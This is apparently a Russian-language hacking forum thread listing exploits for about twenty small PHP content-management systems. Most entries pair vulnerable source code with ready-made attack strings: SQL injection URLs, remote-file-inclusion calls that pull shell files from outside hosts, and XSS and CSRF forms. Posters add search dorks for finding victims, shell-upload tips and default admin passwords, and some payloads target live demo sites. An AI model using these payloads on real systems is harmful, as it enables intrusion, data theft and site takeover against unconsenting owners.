Product: pepsi 0.6 download: http://sourceforge.net/projects/pepsicms/ Remote File Inclusion file:index.php PHP: //very sweet include "includes/template-loader.php"; file:includes/template-loader.php PHP: //include( 'classes/theme_engine/engine.php' ); include( $_Root_Path . 'classes/Smarty.class.php' ); result: if allow_url_include On Code: /index.php?_Root_Path=http://ya.ru/%00 or Code: /index.php?_Root_Path=[file]%00
http://www.kcms.cz/ K:CMS v.2.1.1 LFI, плохо что в админке! /admin.php PHP: ...if (isset($_GET["function"])) { include "components/pages_admin/".$_GET["function"].".php";... Result: http://kcms/admin.php?function=options[lfi] Example: http://kcms/admin.php?function=options/../../../robots.txt
Бред, но напишу): http://aphpkb.org/ Andy's PHP Knowledgebase v0.94.6 © Andy Grayndler 2010 XSS /textarea.php PHP: <?php //textarea.php -- default textarea echo '<textarea name="' . $textareaname . '" style="width:95%; height:300px">' . $textareacontent . '</textarea>'; ?> Условие: rg=on Результат: http://site/textarea.php?textareacontent=</textarea>[xss] http://localhost/know/textarea.php?textareacontent=</textarea><script>alert(123)</script> И куча других скриптов. Не буду бред постить! SQL inj /a_authord.php - даные о пользователях! PHP: ...include('./functions.php'); require_once ('./config/auth.php'); require ('./config/config.php'); include"./config/dbsettings.php"; $num = $_GET[aid]; $query = "SELECT CONCAT(FirstName, ' ', LastName) AS name, UserName, Email, DATE_FORMAT(RegistrationDate, '%M %d, %Y') AS dr FROM authors WHERE AuthorID='{$num}'";... Уловия: - админка; - mg=off. Резльутат: http://site/a_authord.php?aid=1[sql] http://site/a_authord.php?aid=1%27+union+select+1,version%28%29,3,4--+
BlogME Product : BlogME 1.1 SQL injection file : index.php mq = off Code: http://x60unu/index.php?month=4&year=2007'+and+0+union+all+select+version(),version(),3,4,5,6,7,8--+ Code: http://x60unu/index.php?cat=General'+and+0+union+all+select+1,2,3,4,5,6,7,8--+ Code: http://x60unu/index.php?when=March%206,%202007'+and+0+union+all+select+1,2,3,4,5,6,7,8--+ SQL in Admin Panel file : blogroll.php PHP: case 'edit' : $sqledit= "SELECT * FROM ". $prefix ."_blogroll WHERE id=$id"; $resultedit = db_query($dbname,$sqledit); $editvalues = mysql_fetch_array($resultedit); result : Code: http://x60unu/blogroll.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+ blind sql PHP: $sqldelete= "DELETE FROM ". $prefix ."_blogroll where id=$id"; $resultdelete = db_query($dbname,$sqldelete); result : Code: http://x60unu/blogroll.php?mode=delete&id=1[blind sql] file : category.php PHP: $sqledit= "SELECT * FROM ". $prefix ."_cat WHERE id=$id"; $resultedit = db_query($dbname,$sqledit); $editvalues = mysql_fetch_array($resultedit); result: Code: http://x60unu/category.php?mode=edit&id=1+and+0+union+all+select+1,2--+ blind sql PHP: sqldelete= "DELETE FROM ". $prefix ."_cat where id=$id"; $resultdelete = db_query($dbname,$sqldelete) result : Code: http://x60unu/category.php?mode=delete&id=1[blind sql] file : links.php PHP: $sqledit= "SELECT * FROM ". $prefix ."_links WHERE id=$id"; $resultedit = db_query($dbname,$sqledit); $editvalues = mysql_fetch_array($resultedit); result : Code: http://x60unu/links.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+ blind sql PHP: $sqldelete= "DELETE FROM ". $prefix ."_links where id=$id"; $resultdelete = db_query($dbname,$sqldelete); Code: http://x60unu/links.php?mode=delete&id=1[blind sql] Active Xss comments --- text comments --- "><script>alert();</script> з.ы. двиг сплошная дыра
Продукт:: AEF (форумный движок) Сайт:: http://www.anelectron.com Дорк:: "Powered by AEF" (250 000 результатов) Уязвимость:: Активная XSS. Уязвимость присутствует из-за небезопасной обработки BB-тегов. Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода. Пример эксплуатации: Code: [*url]http://asd.asd[*email][email protected] onmouseover=[b]alert()[/b] bla=[*/email][*/url] На выходе получаем: Code: <a href="[color=white]http://asd.asd<a href=[/color]"mailto:[email protected] onmouseover=[b]alert()[/b] bla=" target="_blank">[email protected] onmouseover=alert() bla=</a>" target="_blank">http://asd.asd<a href="mailto:[email protected] onmouseover=alert() bla=" target="_blank">[email protected] onmouseover=alert() bla=</a></a> Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега: Code: [*url]http://asd.asd[*email][email protected] style=[b]display:none;olo:expression(alert());-moz-binding:url()[/b] bla=[*/email][*/url]
Продукт:: Beehive (форумный движок) Сайт:: http://beehiveforum.sourceforge.net/ Дорк:: "Project Beehive Forum" (?) Уязвимость:: Активная XSS. Уязвимость существует из-за недостаточной фильтрации слова javascript в сообщении. Строчка из /include/fixhtml.php (скрипт "безопасной" обработки html): PHP: $attrib_value = preg_replace("/javascript:/ixu", '', $attrib_value); В движке разрешён html, а это ограничение обходится простым кодированием html (протокол от этого валидность не теряет): Code: <img src="javascript:alert()" />
Продукт:: CompactCMS Сайт:: http://www.compactcms.nl Дорк:: "Maintained with CompactCMS" //тут была глупая ошибка, Strilo4ka заметил... Уязвимость:: Исполнение произвольного кода. Требования: права админа (админка по умолчанию не запаролена - /admin) Жмём Create a new page, создаём страничку с php-кодом, затем она инклудится, и мы имеем шелл.
AneCMS Product : Demo AneCMS v1 Blind SQL injection Code: http://demo.anecms.com/blog/delete/1/1/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/ Active XSS comments blog news - "><script>alert();</script> Code: http://anecms.com/blog/5/Template_Engine_and_cleaning_time LFI rss.php PHP: if(isset($_GET['module'])) include './modules/'.$_GET['module'].'/rss.php'; Code: http://x60unu/rss.php?module=../[file]%00 Admin panel PHP: include './pages/'.$_GET['p'].'.php'; Code: http://demo.anecms.com/acp/?p=lfi Code: http://x60unu/acp/index.php?p=../../[file]%00 Путь Code: http://demo.anecms.com/register/next Дыр тут много
phpwcms v1.4.5 release 2010 Скачано отсюдо! XSS + HPP /image_zoom.php Code: ..if(empty($_GET["show"])) { $width_height = ''; $img = "img/leer.gif"; } else { $img = base64_decode($_GET["show"]); list($img, $width_height) = explode('?', $img); $img = str_replace(array('http://', 'https://', 'ftp://'), '', $img); $img = strip_tags($img); $width_height = strip_tags($width_height); $img = PHPWCMS_IMAGES.urlencode($img);... Code: ...<a href="#" title="Close PopUp" onclick="window.close();return false;"><img src="<?php echo $img ?>" alt="" border="0" <?php echo $width_height ?> /></a>... Result: 1) формируем код, example: адрес_рисунка?onmouseover=alert(1) 2) переводим в base64 - MDRANUFfQDhBQz06MD9vbm1vdXNlb3Zlcj1hbGVydCgxKQ== 3) тулим эту строку гетом в show. ps админка - /login.php По умолчанию: логин - admin; пасс - phpwcms (md5).
AneCMS Продолжение поста [x60]unu. RFI ajax.php! PHP: <?php include './system/pages/essential.php'; if(isset($_POST['p'])) include $_POST['p']; ?> Условие: allow_url_include = On Експлуатация: HTML: <form method="POST" action="http://localhost/anecms/ajax.php"> <input type="text" name="p" /> <input type="submit" /></form>
WebsiteBaker 2.8.1 WebsiteBaker 2.8.1 Sql-injection(требования register_globals=on) PHP: if(isset($_GET['page_id']) AND is_numeric($_GET['page_id'])) { $page_id = $_GET['page_id']; } else { header('Location: /'); exit(0); } if(isset($_GET['group_id']) AND is_numeric($_GET['group_id'])) { $group_id = $_GET['group_id']; define('GROUP_ID', $group_id); } /*--*/ if(isset($group_id)) { $query = "SELECT * FROM ".TABLE_PREFIX."mod_news_posts WHERE group_id=".$group_id." AND page_id = ".$page_id." AND active=1 AND ".$time_check_str." ORDER BY posted_when DESC"; } else { эксплуатация: /modules/news/rss.php?page_id=2&group_id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+ Способов залиться несколько: 1)В админке аплоадим зип архив с шеллом, распаковываем средствами админ-панели. 2)аплоадим какой-нибудь shell.php.xs(если apache в качестве вебсервера)
Rat CMS SQL ing login.php PHP: ...$userId = $_POST['txtUserId']; $password = $_POST['txtPassword']; // check if the user id and password combination exist in database $sql = "SELECT user_id FROM tbl_auth_user WHERE user_id = '$userId' AND user_password = PASSWORD('$password')"; $result = mysql_query($sql) or die('Query failed. ' . mysql_error()); if (mysql_num_rows($result) == 1) { // the user id and password match, // set the session $_SESSION['db_is_logged_in'] = true; // after login we move to the main page header('Location: main.php'); exit; } else { $errorMessage = 'Sorry, wrong user id / password'; }... Result : в поле txtUserId - ' union select 1--[ ] Условие: mg=off Далее привожу только код других файлов: viewarticle.php , viewarticle2.php PHP: ...else { // get the article info from database $query = "SELECT title, content FROM news WHERE id=".$_GET['id']; $result = mysql_query($query) or die('Error : ' . mysql_error()); $row = mysql_fetch_array($result, MYSQL_ASSOC); ...
123 basic cms CSRF + SQL inj(в админке!) просто выношу потому что редкий интересный случай1 Admin/Pages/List.php PHP: ... $strAction=QuerySafeString($_POST["txtAction"]); } if ($_SESSION["Admin"] =="Y") { $conclass =new DataBase(); if ($strAction=="DEL") { if (isset($_POST['chkSelect'])) { $strSelection=$_POST['chkSelect']; $strSQL="DELETE FROM pages_t_details WHERE id IN(". join(',', $strSelection) . ")"; //print $strSQL; $strErrorMessages=""; $var1=$conclass->Execute ($strSQL,$strErrorMessages); }... Includes/Database.php PHP: ... function QuerySafeString($pstrString) { $badChars = array("\'"); $newChars = array("'"); $pstrString = str_replace($badChars, $newChars, $pstrString); $pstrString=killChars($pstrString); return $pstrString; }... Includes/Database.php PHP: ...function killChars($strWords) { $badChars = array("select", "drop", ";", "--", "insert", "delete","Update"); $newChars = array("", "", "", "", "", "", ""); $strWords = str_replace($badChars, $newChars, $strWords); return $strWords; }... Вывод ошибки от СУБД Includes/Database.php PHP: ... function Execute($strSQL,$strErrorMessages) { $result = mysql_query($strSQL) or die("Query failed : " . mysql_error()); return $result; }... Result: <FORM action="http://localhost/basiccms/Admin/Pages/List.php?txtAction=" method="POST"> <INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="666" checked> <INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="(Select * from (Select name_const(version(),1),name_const(version(),1))x)" checked> <INPUT type="checkbox" name="txtAction" value="DEL" checked> <input type=submit value="inj"> </FORM> SQL inj Admin/Pages/AddModifyInput.php PHP: ...$strsql = "SELECT id, title,description,startpage FROM pages_t_details WHERE id=" . $strID; $rst= $conclass->Execute ($strsql,$strError);... Result: http://localhost/basiccms/admin/pages/AddModifyinput.php?ID=9+union+Select+1,version%28%29,3,4 Также уязвим Admin./Pages/AddModifyDelete.php XSRF+SQL inj(права админа!) PHP: ...$strsql="DELETE FROM pages_t_details "; $strsql.= " WHERE id=" .SQLSafeString($strID);... Result: http://localhost/basiccms/admin/pages/AddModifyInput.php?action=DEL&ID=1+or+%281,2%29=%28Select%20*%20from%20%28Select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29x%29 ps еще можна было провести (в других файлах) XSRF на добавление пользователей, ... + SQL inj(права админа).
WebspotBlogging Product : WebspotBlogging v 3.01 RFI, LFI файлы в главной папке обращаются к файлам из папки inc в которых можно увидеть код - пример inc/mainheader.inc.php PHP: include($path."inc/global.php"); allow_url_include = On rg = on result : Code: http://x60unu/archives.php?path=http:/site/shell.txt? http://x60unu/register.php?path=http://site/shell.txt? http://x60unu/index.php?path=http://site/shell.txt? http://x60unu/showpost.php?path=http://site/shell.txt? http://x60unu/login.php?path=http://site/shell.txt? http://x60unu/postcomment.php?path=http://site/shell.txt? http://x60unu/showarchive.php?path=http://site/shell.txt? http://x60unu/rss.php?path=http://site/shell.txt? Ну и там же LFI SQL Injection Для всех скуль нужно mq=off showpost.php PHP: $sql = "SELECT * FROM blog WHERE pid = '".$_GET['id']."';"; $query = mysql_query($sql); Code: http://x60unu/showpost.php?id=1'+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10--+ showarchive.php PHP: $monthdate = $_GET['monthdate']; $sql = "SELECT * FROM blog WHERE month_date = '".$_GET['monthdate']."' ORDER BY date_time DESC;"; $query = mysql_query($sql); Code: http://x60unu/showarchive.php?monthdate='+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10--+ зарегистрированным пользователям posting/edit.php PHP: $query = $database->query("SELECT * FROM blog WHERE pid = '".$_REQUEST['id']."'"); $post = $database->fetch_array($query); Code: http://x60unu/posting/edit.php?id=1'+and+0+union+all+select+1,2,3,version(),5,6,7,8,9,10--+ posting/editcomment.php PHP: $query = $database->query("SELECT * FROM comments WHERE cid = '".$_GET['id']."'"); if($database->num_rows($query) < 1){ Code: http://x60unu/posting/editcomment.php?id=1'+and+0+union+all+select+1,2,3,4,5--+ posting/comments.php PHP: $query = $database->query("SELECT * FROM comments WHERE pid = '".$_REQUEST['id']."' ORDER BY date_time DESC"); if($database->num_rows($query) < 1){ Code: http://x60unu/posting/comments.php?id=1'+and+0+union+all+select+1,2,3,4,5--+ Blind SQL Injection mysql = 5 mq = off postcomment.php комментируем запись --> PHP: $database->query("INSERT INTO comments (cid,uid,comment,date_time,pid) VALUES ('','".$_SESSION['uid']."','".$_POST['comment']."',NOW(),'".$_POST['pid']."')"); header("Location: showpost.php?id=".$_POST['pid']); ob_end_flush(); users/index.php редактируем email --> register.php - регистрация --> PHP: $sql = "INSERT INTO users (`uid`,`username`,`password`,`admin`,`mod`,`email`,`newsletter`) VALUES ('','".$_POST['username']."','".md5($_POST['password'])."',0,0,'".$_POST['email']."','".$_POST['newsletter']."')"; $query = $database->query($sql); --> Code: xek%'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1 Active Xss comments - комментируем записи "/><script>alert("xss");</script> user cp - email "/><script>alert("xss");</script> posting - "/><script>alert("xss");</script>
321 Free CMS Webcountry Древний релиз! - но компания не дремлет! Используеться mod_rewrite. В index.php есть такой код: PHP: ...ob_start(); $mod=$_GET["mod"]; if (!IsSet($mod)){include "./page/$main_page.php";} else {include "./page/".$mod.".php";} $contents=ob_get_contents(); ob_end_clean();... PHP: ...require("./tpl/$thema.tpl");... Переменная $thema определяеться в подключаемом файле c запроса. Если переменную определить в подключаемом файле, например, не с запроса или с запроса после SQL inj, то расширение можна отбросить. В БД ничего ценного! Пусть админко запаролена . В подключаемый файл тулим $thema=$_GET['thema']. И гетом передадим thema=../readme.txt%00, кроме mod. То должно получиться типо такого: http://localhost/f/index.php?mod=../1.txt%00&thema=../readme.txt%00. Если переменную $thema не определить, то результат не увидеть с первого инклуда - будет ошибка в фунции require, так как скрипт не выполниться! Как реализовать с proc думаю понятно. Теперь пример инклуда с результату запроса после проведения SQL ing(или при!). Подключаем файлик с /page, допустим, news.php так как там парамтер id передаеться в запрос! PHP: ...$query = "SELECT * FROM site WHERE id='".$_GET["id"]."';"; $result = mysql_query($query); while($r=mysql_fetch_array($result)) { $title=$r["title_page"]; $KeyWords_page=$r["KeyWords_page"]; $Description_page=$r["Description_page"]; $txt_page=$r["txt_page"]; $thema=$r["thema"]; echo "$txt_page";}... Имеем LFI с 6 поля: http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5,6,7,8--+ Warning: require(./tpl/6.tpl) [function.require]: http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5,%27../readme.txt%00%27,7,8--+ Недостаток при SQL inj в том, что надо mg=off так как id в запросе PHP: ...id='".$_GET["id"]."';... Так же SQL inj в /pages/index.php PHP: ...mysql_select_db ($db_name) or die ("Нет соединения с БД"); $query = "SELECT * FROM site WHERE id='".$_GET["id"]."';"; $result = mysql_query($query);... up та й в принципе вектор атаки должен умещаться в рамки url , посему первый вариант не сработает, разве что ось win (при mg=on). Еще надо сказать, что если rg=on, то $_GET масив тоже формируеться, не только глобальные и значение "магических" к фени!... Тоесть, при rg=on имеем LFI вот так: http://localhost/117/index.php?mod=1&thema=../readme.txt%00 http://localhost/117/index.php?mod=1&thema=../readme.txt[/] http://localhost/117/index.php?mod=1&thema=../readme.txt[.] ps /adm - админко незапаролена по умолчанию.
AntiSlaed CMS 4.1 index.php PHP: ...$name = (isset($_POST['name'])) ? ((isset($_POST['name'])) ? analyze($_POST['name']) : "") : ((isset($_GET['name'])) ? analyze($_GET['name']) : "");... PHP: ...$file = (isset($_POST['file'])) ? ((isset($_POST['file'])) ? analyze($_POST['file']) : "") : ((isset($_GET['file'])) ? analyze($_GET['file']) : ""); $file = ($file) ? $file : "index";... PHP: ...include("modules/".$name."/".$file.".php");... Теперь смотрим в модуль новости /modules/news/index.php. PHP: function news(){... $scat = (isset($_GET['cat'])) ? $_GET['cat'] : 0;... ...list($cat_title, $cat_description) = $db->sql_fetchrow($db->sql_query("SELECT title, description FROM ".$prefix."_categories WHERE id='$scat'"));... } PHP: ...switch($op) { default: news(); break;... в ../index.php PHP: ...$op = (isset($_POST['op'])) ? ((isset($_POST['op'])) ? analyze($_POST['op']) : "") : ((isset($_GET['op'])) ? analyze($_GET['op']) : "");... Можно было бы провести SQL inj если бы не файл functions/security.php начиная с 341 line, ех! Ищем .:XSS:. Поиск закончился успехом. /modules/order/index.php Обращаем внимание на $_POST['com'] PHP: function order() { global $conf, $confor, $pagetitle, $bodytext, $stop; $pagetitle = "".$conf['defis']." "._ORDER.""; $bodytext = $confor['text']; if (is_user()) { $userinfo = getusrinfo(); $mail = (isset($_POST['mail'])) ? $_POST['mail'] : $userinfo['user_email']; } else { $mail = (isset($_POST['mail'])) ? $_POST['mail'] : ""; } $field = fields_save($_POST['field']); head(); title(""._ORDER.""); if ($stop) warning($stop, "", "", 1); open(); echo bb_decode($bodytext, "all"); close(); if ($confor['an']) { open(); echo "<h2>"._OR_1."</h2><form method=\"post\" action=\"index.php?name=".$conf['name']."\" OnSubmit=\"ButtonDisable(this)\">" ."<div class=\"left\">"._OR_2." <font class=\"option\">*</font></div><div class=\"center\"><input type=\"text\" name=\"mail\" value=\"".$mail."\" maxlength=\"255\" size=\"65\" class=\"".$conf['style']."\"></div>" ."".fields_in($field, $conf['name'])."" ."<div class=\"left\">"._OR_3."</div><div class=\"center\"><textarea name=\"com\" cols=\"65\" rows=\"5\" class=\"".$conf['style']."\">".$_POST['com']."</textarea></div>" ."".captcha_random()."" ."<div class=\"button\"><input type=\"hidden\" name=\"op\" value=\"send\"><input type=\"submit\" value=\""._OR_4."\" class=\"fbutton\"></div></form>"; close(); } else { warning(""._OR_5."", "", "", 2); } foot(); }... Функция order() вызываеться по умолчанию PHP: ...switch($op) { default: order(); break;... Result: - формиуем код; - заставляем админа послать пост-запрос (ну понятно что он должен быть авторизирован!). Простой пример експлуатации: HTML: <form action="http://anti/index.php?name=order"> <p><b>Каким браузером в основном пользуетесь:</b><Br> <input type="radio" name="browser" value="ie"> Internet Explorer<Br> <input type="radio" name="browser" value="opera"> Opera<Br> <input type="radio" name="browser" value="firefox"> Firefox<Br> </p> <input type="hidden" name="com" VALUE="</textarea><script>alert(123)</script>"> <input type=submit value="Молодца"!"> </form> up В самом последнем релизе пофиксено! Значение переменной $com и других проганяэться через: PHP: # HTML and word filter function text_filter($message, $type="") { global $conf; $message = is_array($message) ? fields_save($message) : $message; if (intval($type) == 2) { $message = htmlspecialchars(trim($message), ENT_QUOTES); } else { $message = strip_tags(urldecode($message)); $message = htmlspecialchars(trim($message), ENT_QUOTES); } if ($conf['censor'] && intval($type != 1)) { $censor_l = explode(",", $conf['censor_l']); foreach ($censor_l as $val) $message = preg_replace("#$val#i", $conf['censor_r'], $message); } return $message; }
Sing CMS скачать В результате применения XSRF имеем активную XSS. Подтверждения со стороны адинистратора на сохранение данных нет! Уязвимо $_POST['content'] с многострочного поля! Вот куски кода: /admin/editpage.php PHP: ...$checkbottom = isset($_POST['showbottom']) ? " checked" : ""; $maintpl = listtpl("main", $_POST['maintpl']); $name = cleaninput($_POST['name']); $keywords = cleaninput($_POST['keywords']); $description = cleaninput($_POST['description']); $content = stripslash($_POST['content']); if (isset($_POST['breaks'])) { $linebreaks = " checked"; $xx = explode("?>", $content); $prevcontent = ""; foreach($xx as $val) {... PHP: ...else { dbquery("INSERT INTO ".DBPREF."pages (name, keywords, description, content, settings, created) VALUES ('$name', '$keywords', '$description', '$content', '".serialize($pageset)."', '".time()."')"); redirect($_SERVER['SCRIPT_NAME']."?id=".mysql_insert_id()."&info=added"); }... /functions.php PHP: ...function stripslash($text) { if (ini_get('magic_quotes_gpc')) $text = stripslashes($text); return $text; } function addslash($text) { if (!ini_get('magic_quotes_gpc')) $text = addslashes(addslashes($text)); else $text = addslashes($text); return $text; } function cleaninput($text) { if (ini_get('magic_quotes_gpc')) $text = stripslashes($text); $search = array("\"", "'", "\\", '\"', "\'", "<", ">", " "); $replace = array(""", "'", "\", """, "'", "<", ">", " "); $text = str_replace($search, $replace, $text); $text = trim($text); return $text;... Експлуатация: HTML: <form action="http://localhost/sing/admin/editpage.php" method="post"> <p><b>Каким браузером в основном пользуетесь</b> <Br> <input type="radio" name="browser" value="ie"> Internet Explorer <Br> <input type="radio" name="browser" value="opera"> Opera <Br> <input type="radio" name="browser" value="firefox"> Firefox<Br></p> <input type="hidden" name="maintpl" VALUE="1"> <input type="hidden" name="name" VALUE="123"> <input type="hidden" name="content" VALUE="<script>alert(123)</script>"> <input type="hidden" name="save"> <input type=submit value="Молодца"!"> </form> Result: id страницы, например 2. в page.php?id=2 HTML: ...<div class="page"><script>alert(123)</script></div>...
CMS.link /include/functions.php PHP: ....function adds(&$el,$level=0) { if (is_array($el)){ if (get_magic_quotes_gpc()) return; foreach($el as $k=>$v) adds($el[$k],$level+1); } else{ if (!get_magic_quotes_gpc()) $el = addslashes($el); if (!$level) return $el; } } ... Через эту функцию не провести SQL inj Улыбнул вот этот участок кода: PHP: ... if($site->getCommP())$method=""; switch($method) { case "print": include $config['site_dir']."include/plugins/mop/print.plg"; break; case "send": include $config['site_dir']."include/plugins/mop/send.plg"; break; case "comments": include $config['site_dir']."include/plugins/mop/comments.plg"; break; case "vote": include $config['site_dir']."include/plugins/mop/vote.plg"; break; case "dir": include $config['site_dir']."include/plugins/mop/dir.plg"; break; default: $file=$config['site_dir']."templates/docs/".$site->getTemplate().".tpl"; if (!file_exists($file)) error_rep("Server","No such file or directory ($file)","404"); include $file;... XSS в include/plugins/mop/send.plg PHP: ... if(!ereg(".+@.+\..+", $_POST['p_s_mail'])){ $p_s_error="{$lan[18]}<br>"; p_s_print_html($p_s_error); } elseif($_POST['p_s_yname']==""){ $p_s_error="{$lan[2]}<br>"; p_s_print_html($p_s_error); } elseif(!ereg(".+@.+\..+", $_POST['p_s_ymail'])){ $p_s_error="{$lan[1]}<br>"; p_s_print_html($p_s_error); } else{ mail( $_POST['p_s_mail'], $lan[19], htmlspecialchars(stripslashes($p_s_mes)), "From: {$_POST['p_s_ymail']}\n". "Reply-To: {$_POST['p_s_yname']}\n"); echo "{$lan[17]} \"{$_POST['p_s_mail']}\".<br><br>"; } ... /include/langyage/russian.lng PHP: ...$lan[17]="Публикация успешно отправлена по адресу";... Тоесть, имеем пасивную XSS в поле E-mail друга (p_s_mail) + анонимная отправка писем. Даные отправляються постом. Чтоб сработала comm_permission=0 должно быть. По умолчанию так и есть на 3-х страницах и при добавление новых также (если не изменить радиобатон). Result: http://cmslink/main/send В поле E-mail друга:[email protected]<script>alert(123)</script>
Magneto Magneto <= v2.0 SQl-inj Офф сайт: http://www.userside.org.ua/magneto/ /magneto/main/config/admfunct.php PHP: function requestdata($ps1) { if (isset($_REQUEST[$ps1])){$ps_requestdata=replacesymbol(trim($_REQUEST[$ps1]));} else {$ps_requestdata='';} return $ps_requestdata; } /magneto/module/$module/kat.php PHP: if ($ps_type=="delkat" || $ps_type=="editdopf" || $ps_type=="editdopf2" || $ps_type=="delsubkat" || $ps_type=="edit" || $ps_type=="edit2") dopverify("DO_KAT"); if ($ps_type=="editdopf") $ps_style="short"; if ($ps_type2!="") $ps_katname=getkatname($ps_type2); PHP: if ($ps_type=="editdopf2"){ $ps_dopf1=requestdata('dopf1'); $ps_dopf2=requestdata('dopf2'); $ps_dopf3=requestdata('dopf3'); $ps_dopf4=requestdata('dopf4'); $ps_dopf5=requestdata('dopf5'); $rs_2=mysql_query("select * from tbl_dopf where KATCODE=".$ps_code,$conn1); $rs=mysql_fetch_array($rs_2); if ($rs['CODE']==''){ $ps_constr="insert into tbl_dopf (KATCODE,DOPF1,DOPF2,DOPF3,DOPF4,DOPF5) values (".$ps_code.",'".$ps_dopf1."','".$ps_dopf2."','".$ps_dopf3."','".$ps_dopf4."','".$ps_dopf5."')"; }else{ $ps_constr="update tbl_dopf set DOPF1='".$ps_dopf1."',DOPF2='".$ps_dopf2."',DOPF3='".$ps_dopf3."',DOPF4='".$ps_dopf4."',DOPF5='".$ps_dopf5."' where CODE=".$rs['CODE']; } mysql_free_result($rs_2); $rs_s2=mysql_query($ps_constr,$conn1); goback(); } И дальше в таком же духе. Експлуатация: Code: [patch]/kat.php?type=showkat&type2=-1+union+select+1,2,3,4--
santafox 1.1 http://www.santafox.ru/ Тестировалось на фаерфокс 3.5.9 Пасивная XSS в поле поиска. Result: http://sa/search.html?search=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&x=0&y=0 Пока чихлюсь с кодом, немогу найти где этот участок кода (использ.ооп), так что сори ps на сайте тоже работает! up У нас есть активная XSS в коментах , но експлуатация сводиться к миниму, так как сначала просматривает админ. Если ступит и пометит: "Комментарий активен", то активка у двох полях. Есть и глобальная опция Премодерация. Blind SQL inj Кстати, ошибка в этой функции, строка 4279, когда кавычку впихнуть при mg=off! /modules/catalog/catalog.class.php PHP: ... private function get_item($id) { global $kernel; $res = false; $query = 'SELECT * FROM `'.PREFIX.'_catalog_'.$kernel->pub_module_id_get().'_items` WHERE `id` ='.$id.' LIMIT 1'; $result = $kernel->runSQL($query); if ($row = mysql_fetch_assoc($result)) $res = $row; mysql_free_result($result); return $res; }... Короче єтот модуль уязвим , чтоб не лезть в дебри покажу просто експлуатацию слепой иньекции в числовом контексте, думаю что есть в каком то модуле и принтабельная скуль. Будет время - поковыряю. Result: 1) http://sa/catalog.html?cid=11+and+5=@@version ps также парамтер дырявый itemid (гет этому скрипту!) пасс в незашыфрованом виде Code: id,login,pass,full_name,lang,code_page,enabled Но префикс таблицы есть, не помню при установке по дефлоту: у меня таблица sf_admin. админко - /admin У кого есть желание - присоединяйтесь